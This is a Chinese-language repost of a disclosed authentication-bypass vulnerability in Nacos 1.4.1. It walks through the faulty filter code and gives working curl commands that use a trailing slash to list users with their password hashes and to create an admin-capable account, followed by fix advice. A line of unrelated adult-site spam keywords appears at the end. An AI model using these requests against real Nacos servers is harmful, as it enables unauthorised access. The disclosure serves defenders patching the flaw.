<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          阿里 Nacos 驚爆,安全漏洞以繞過身份驗證(附修復(fù)建議)

          共 925字,需瀏覽 2分鐘

           ·

          2021-01-25 12:54


          來源:github.com/alibaba/nacos/issues/4701

          • 一、漏洞詳情
          • 二、漏洞影響范圍
          • 三、漏洞復(fù)現(xiàn)
          • 三、 修復(fù)建議
          • BugFix

          大家好,我是threedr3am,我發(fā)現(xiàn)nacos最新版本1.4.1對于User-Agent繞過安全漏洞的serverIdentity key-value修復(fù)機制,依然存在繞過問題,在nacos開啟了serverIdentity的自定義key-value鑒權(quán)后,通過特殊的url構(gòu)造,依然能繞過限制訪問任何http接口。

          通過查看該功能,需要在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,才能避免User-Agent: Nacos-Server繞過鑒權(quán)的安全問題。

          但在開啟該機制后,我從代碼中發(fā)現(xiàn),任然可以在某種情況下繞過,使之失效,調(diào)用任何接口,通過該漏洞,我可以繞過鑒權(quán),做到:

          調(diào)用添加用戶接口,添加新用戶(POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test),然后使用新添加的用戶登錄console,訪問、修改、添加數(shù)據(jù)。

          一、漏洞詳情

          問題主要出現(xiàn)在com.alibaba.nacos.core.auth.AuthFilter#doFilter:

          public?class?AuthFilter?implements?Filter?{

          ????@Autowired
          ????private?AuthConfigs?authConfigs;

          ????@Autowired
          ????private?AuthManager?authManager;

          ????@Autowired
          ????private?ControllerMethodsCache?methodsCache;

          ????private?Map,?ResourceParser>?parserInstance?=?new?ConcurrentHashMap<>();

          ????@Override
          ????public?void?doFilter(ServletRequest?request,?ServletResponse?response,?FilterChain?chain)
          ????????????throws?IOException,?ServletException?
          {

          ????????if?(!authConfigs.isAuthEnabled())?{
          ????????????chain.doFilter(request,?response);
          ????????????return;
          ????????}

          ????????HttpServletRequest?req?=?(HttpServletRequest)?request;
          ????????HttpServletResponse?resp?=?(HttpServletResponse)?response;

          ????????if?(authConfigs.isEnableUserAgentAuthWhite())?{
          ????????????String?userAgent?=?WebUtils.getUserAgent(req);
          ????????????if?(StringUtils.startsWith(userAgent,?Constants.NACOS_SERVER_HEADER))?{
          ????????????????chain.doFilter(request,?response);
          ????????????????return;
          ????????????}
          ????????}?else?if?(StringUtils.isNotBlank(authConfigs.getServerIdentityKey())?&&?StringUtils
          ????????????????.isNotBlank(authConfigs.getServerIdentityValue()))?{
          ????????????String?serverIdentity?=?req.getHeader(authConfigs.getServerIdentityKey());
          ????????????if?(authConfigs.getServerIdentityValue().equals(serverIdentity))?{
          ????????????????chain.doFilter(request,?response);
          ????????????????return;
          ????????????}
          ????????????Loggers.AUTH.warn("Invalid?server?identity?value?for?{}?from?{}",?authConfigs.getServerIdentityKey(),
          ????????????????????req.getRemoteHost());
          ????????}?else?{
          ????????????resp.sendError(HttpServletResponse.SC_FORBIDDEN,
          ????????????????????"Invalid?server?identity?key?or?value,?Please?make?sure?set?`nacos.core.auth.server.identity.key`"
          ????????????????????????????+?"?and?`nacos.core.auth.server.identity.value`,?or?open?`nacos.core.auth.enable.userAgentAuthWhite`");
          ????????????return;
          ????????}

          ????????try?{

          ????????????Method?method?=?methodsCache.getMethod(req);

          ????????????if?(method?==?null)?{
          ????????????????chain.doFilter(request,?response);
          ????????????????return;
          ????????????}

          ????????????...鑒權(quán)代碼

          ????????}
          ????????...
          ????}
          ????...
          }

          可以看到,上面三個if else分支:

          第一個是authConfigs.isEnableUserAgentAuthWhite(),它默認(rèn)值為true,當(dāng)值為true時,會判斷請求頭User-Agent是否匹配User-Agent: Nacos-Server,若匹配,則跳過后續(xù)所有邏輯,執(zhí)行chain.doFilter(request, response);

          第二個是StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue()),也就是nacos 1.4.1版本對于User-Agent: Nacos-Server安全問題的簡單修復(fù)

          第三個是,當(dāng)前面兩個條件都不符合時,對請求直接作出拒絕訪問的響應(yīng)

          問題出現(xiàn)在第二個分支,可以看到,當(dāng)nacos的開發(fā)者在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,開啟該key-value簡單鑒權(quán)機制后,會根據(jù)開發(fā)者配置的nacos.core.auth.server.identity.key去http header中獲取一個value,去跟開發(fā)者配置的nacos.core.auth.server.identity.value進行匹配,若不匹配,則不進入分支執(zhí)行:

          if?(authConfigs.getServerIdentityValue().equals(serverIdentity))?{
          ????chain.doFilter(request,?response);
          ????return;
          }

          但問題恰恰就出在這里,這里的邏輯理應(yīng)是在不匹配時,直接返回拒絕訪問,而實際上并沒有這樣做,這就讓我們后續(xù)去繞過提供了條件。

          再往下看,代碼來到:

          Method?method?=?methodsCache.getMethod(req);

          if?(method?==?null)?{
          ????chain.doFilter(request,?response);
          ????return;
          }

          ...鑒權(quán)代碼

          可以看到,這里有一個判斷method == null,只要滿足這個條件,就不會走到后續(xù)的鑒權(quán)代碼。

          通過查看methodsCache.getMethod(req)代碼實現(xiàn),我發(fā)現(xiàn)了一個方法,可以使之返回的method為null

          com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod

          public?Method?getMethod(HttpServletRequest?request)?{
          ????String?path?=?getPath(request);
          ????if?(path?==?null)?{
          ????????return?null;
          ????}
          ????String?httpMethod?=?request.getMethod();
          ????String?urlKey?=?httpMethod?+?REQUEST_PATH_SEPARATOR?+?path.replaceFirst(EnvUtil.getContextPath(),?"");
          ????List?requestMappingInfos?=?urlLookup.get(urlKey);
          ????if?(CollectionUtils.isEmpty(requestMappingInfos))?{
          ????????return?null;
          ????}
          ????List?matchedInfo?=?findMatchedInfo(requestMappingInfos,?request);
          ????if?(CollectionUtils.isEmpty(matchedInfo))?{
          ????????return?null;
          ????}
          ????RequestMappingInfo?bestMatch?=?matchedInfo.get(0);
          ????if?(matchedInfo.size()?>?1)?{
          ????????RequestMappingInfoComparator?comparator?=?new?RequestMappingInfoComparator();
          ????????matchedInfo.sort(comparator);
          ????????bestMatch?=?matchedInfo.get(0);
          ????????RequestMappingInfo?secondBestMatch?=?matchedInfo.get(1);
          ????????if?(comparator.compare(bestMatch,?secondBestMatch)?==?0)?{
          ????????????throw?new?IllegalStateException(
          ????????????????????"Ambiguous?methods?mapped?for?'"?+?request.getRequestURI()?+?"':?{"?+?bestMatch?+?",?"
          ????????????????????????????+?secondBestMatch?+?"}");
          ????????}
          ????}
          ????return?methods.get(bestMatch);
          }
          private?String?getPath(HttpServletRequest?request)?{
          ????String?path?=?null;
          ????try?{
          ????????path?=?new?URI(request.getRequestURI()).getPath();
          ????}?catch?(URISyntaxException?e)?{
          ????????LOGGER.error("parse?request?to?path?error",?e);
          ????}
          ????return?path;
          }

          這個代碼里面,可以很明確的看到,method值的返回,取決于

          String?urlKey?=?httpMethod?+?REQUEST_PATH_SEPARATOR?+?path.replaceFirst(EnvUtil.getContextPath(),?"");
          List?requestMappingInfos?=?urlLookup.get(urlKey);

          urlKey這個key,是否能從urlLookup這個ConcurrentHashMap中獲取到映射值

          而urlKey的組成中,存在著path這一部分,而這一部分的生成,恰恰存在著問題,它是通過如下方式獲得的:

          new?URI(request.getRequestURI()).getPath()

          一個正常的訪問,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test',得到的path將會是/nacos/v1/auth/users,而通過特殊構(gòu)造的url,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-is,得到的path將會是/nacos/v1/auth/users/

          通過該方式,將能控制該path多一個末尾的斜桿'/',導(dǎo)致從urlLookup這個ConcurrentHashMap中獲取不到method,為什么呢,因為nacos基本全部的RequestMapping都沒有以斜桿'/'結(jié)尾,只有非斜桿'/'結(jié)尾的RequestMapping存在并存入了urlLookup這個ConcurrentHashMap,那么,最外層的method == null條件將能滿足,從而,繞過該鑒權(quán)機制。

          二、漏洞影響范圍

          影響范圍:1.4.1

          三、漏洞復(fù)現(xiàn)

          訪問用戶列表接口

          curl?XGET?'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'

          可以看到,繞過了鑒權(quán),返回了用戶列表數(shù)據(jù)

          {
          ????"totalCount":?1,
          ????"pageNumber":?1,
          ????"pagesAvailable":?1,
          ????"pageItems":?[
          ????????{
          ????????????"username":?"nacos",
          ????????????"password":?"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
          ????????}
          ????]
          }

          添加新用戶

          curl?-XPOST?'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'

          可以看到,繞過了鑒權(quán),添加了新用戶

          {
          ????"code":200,
          ????"message":"create?user?ok!",
          ????"data":null
          }

          再次查看用戶列表

          curl?XGET?'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'

          可以看到,返回的用戶列表數(shù)據(jù)中,多了一個我們通過繞過鑒權(quán)創(chuàng)建的新用戶

          {
          ????"totalCount":?2,
          ????"pageNumber":?1,
          ????"pagesAvailable":?1,
          ????"pageItems":?[
          ????????{
          ????????????"username":?"nacos",
          ????????????"password":?"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
          ????????},
          ????????{
          ????????????"username":?"test",
          ????????????"password":?"$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
          ????????}
          ????]
          }

          訪問首頁http://127.0.0.1:8848/nacos/,登錄新賬號,可以做任何事情

          regards, threedr3am

          三、 修復(fù)建議

          2021年1月14日 Nacos 1.4.1剛發(fā)布,會直接在1.4.1進行hotfix。

          請用戶直接下載最新的1.4.1版本進行部署升級。

          https://github.com/alibaba/nacos/releases/tag/1.4.1

          BugFix

          -[#4701] Fix bypass authentication(identity) problem.

          https://github.com/alibaba/nacos/issues/4701

          END



          如有收獲,點個在看,誠摯感謝

          瀏覽 70
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  中文字幕 日韩 国产 | 99热久 | 国产成人三级片 | 色噜噜狠狠色综无码久久合欧美 | av先锋影音在线 c逼视频香蕉视频 |